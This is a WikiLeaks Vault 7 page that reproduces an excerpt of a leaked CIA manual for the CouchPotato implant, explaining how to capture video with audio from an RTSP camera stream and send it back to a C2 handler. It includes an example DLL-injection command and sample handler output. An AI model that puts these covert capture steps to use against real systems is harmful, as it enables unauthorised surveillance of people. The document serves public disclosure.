Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

SECRET//NOFORN
3.4 (S//NF) Capturing video (with audio)
3.4.1 NOTE: This will result in more network traffic back to the C2
Loader than what is sent for capturing video without audio.
3.4.2 Start the CouchPotato handler.
3.4.3 Use the –vcodec copy –acodec copy -f avi – the arguments; the
output file location should always be just a “-“ (as in pipe to stdout).
3.4.4 The video file is written to the root of the directory that was passed
to the CouchPotato handler script. The video file is written with a file
name of the form: YYYYMMDD_HHMMSS.avi – This timestamp is
in GMT and uses the time facilities of the local machine the script
runs on.
Example using ShellTerm (no line breaks):
icedll –p <pid> -a “-i rtsp://video.stream.net:8554/ip_camera_path
-t 300 -vcodec copy –acodec copy -f avi –“ –-pipe /tmp/handler_pipe
couchpotato_x86_64.dll
Example output from the handler:
Tue, 11 Feb 2014 18:30:58 -0000: Video data recv'd
Tue, 11 Feb 2014 18:30:58 -0000: Appended data to ./20140211_132953.avi
Tue, 11 Feb 2014 18:30:58 -0000: Video data recv'd
Tue, 11 Feb 2014 18:30:58 -0000: Appended data to ./20140211_132953.avi
SECRET//NOFORN

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh